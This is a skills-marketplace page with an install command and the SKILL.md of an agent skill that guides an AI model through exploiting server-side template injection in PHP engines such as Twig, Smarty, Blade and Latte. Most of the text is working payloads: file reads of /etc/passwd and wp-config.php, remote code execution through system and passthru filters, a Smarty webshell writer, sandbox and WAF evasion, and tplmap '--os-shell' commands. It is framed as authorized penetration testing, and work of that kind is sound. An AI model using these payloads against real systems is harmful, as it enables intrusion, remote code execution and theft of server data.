用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill ssti-twig命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
Multi-phase penetration test orchestrator. Handles recon, assessment surface mapping, vulnerability chaining, and routes to technique skills for execution. Invoke via /red-run-ctf slash command only.
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate theft (DPAPI/CAPI/CNG), and account persistence via certificate mapping.
基于 SOC 职业分类
正在显示 SKILL.md
| name | ssti-twig |
| description | Guide Twig/PHP server-side template injection exploitation during authorized penetration testing. |
| keywords | ["Twig SSTI","PHP template injection","Smarty SSTI","Blade SSTI","Latte SSTI","{{7*'7'}} returns 49","Symfony template injection","Laravel template injection","PHP sandbox escape"] |
| tools | ["burpsuite","sstimap","tplmap"] |
| opsec | medium |
You are helping a penetration tester exploit server-side template injection in a PHP application. The target uses Twig (Symfony), Smarty, Blade (Laravel), or Latte and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution or file access. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ssti-twig] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
{{7*7}} returns 49{{7*'7'}} returns 49, the engine is Twig. If it returns 7777777,
route to ssti-jinja2.{$smarty.version} returns a version number, the engine is Smarty.{var $X="POC"}{$X} works with single-brace syntax, check for Latte.If not already provided, determine:
Skip if context was already provided.
{{7*7}} # 49
{{7*'7'}} # 49 (arithmetic, not string repetition = Twig, not Jinja2)
{{dump(app)}} # Dumps the application object (Symfony)
{{dump(_context)}} # Dumps all template variables
{{app.request.server.all|join(',')}} # Server variables
{$smarty.version} # Version disclosure
{system('id')} # Direct code execution (v3, deprecated in v5)
{php}echo `id`;{/php} # Deprecated in v3
{{ 7*7 }} # 49 (Blade uses {{ }} for escaped output)
{!! 7*7 !!} # 49 (unescaped output)
{var $X="POC"}{$X} # Variable assignment and output
{php system('id')} # Direct code execution
{{_self}} # Reference to current template
{{_self.env}} # Twig environment object
{{app.request.server.all|join(',')}} # All server variables
{{dump(_context)}} # All template variables
{{ '/etc/passwd'|file_excerpt(1,30) }}
{{ include("wp-config.php") }}
{{ source('/etc/passwd') }}
These are the most reliable modern payloads:
{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ ['id',1]|sort('system')|join }}
{{ [0]|reduce('system','id') }}
{{ ['id']|filter('passthru') }}
{{ ['id']|map('passthru') }}
With space or special character bypass:
{{ ['cat\x20/etc/passwd']|filter('system') }}
{{ ['cat$IFS/etc/passwd']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("whoami") }}
{{ {'id':'shell_exec'}|map('call_user_func')|join }}
{{ ["error_reporting", "0"]|sort("ini_set") }}
# Email parameter passing FILTER_VALIDATE_EMAIL:
"{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
# With GET param: ?0=id
{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{%include ["Y:/A:/", _self.env.getFilter("id")]|join%}
{{ [0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join) }}
{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{{ 1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString") }}
{{ 1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString") }}
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
{system('id')}
{system('cat /etc/passwd')}
Smarty v3 with {php} tag (deprecated):
{php}echo `id`;{/php}
Write webshell (if write access):
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Blade escapes output by default. Exploitation requires unescaped output context or framework-level misconfiguration:
{{ system('id') }} # Only if developer disabled escaping
{php system('id')}
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
cat modifier){{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
system() / exec() / passthru() create process artifactsfilter('system') payloads are short and less likely to trigger WAF{system()} is very obvious — prefer Twig-style if both are availablefilter('system') Returns Emptydisable_functions in php.ini may block system(), exec(), passthru()shell_exec, popen, proc_open{{ ['phpinfo()']|filter('assert') }} to see disabled functions{{ ['cat /etc/passwd']|filter('system') }} vs {{ ['id']|map('passthru') }}{{ constant('Twig\\Environment::VERSION') }}filter(), map(), sort(), or reduce()sort){{ dump(_context) }} to see what's available in the sandbox_self.env — some sandbox configs don't restrict it\x20 for space, \x2f for /$IFS as shell space substitute in commandsmap payloads are typically shorter and less flagged than filter# SSTImap
python3 sstimap.py -u 'https://TARGET/page?name=test' -s
# tplmap
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
# TInjA
tinja url -u "https://TARGET/page?name=test"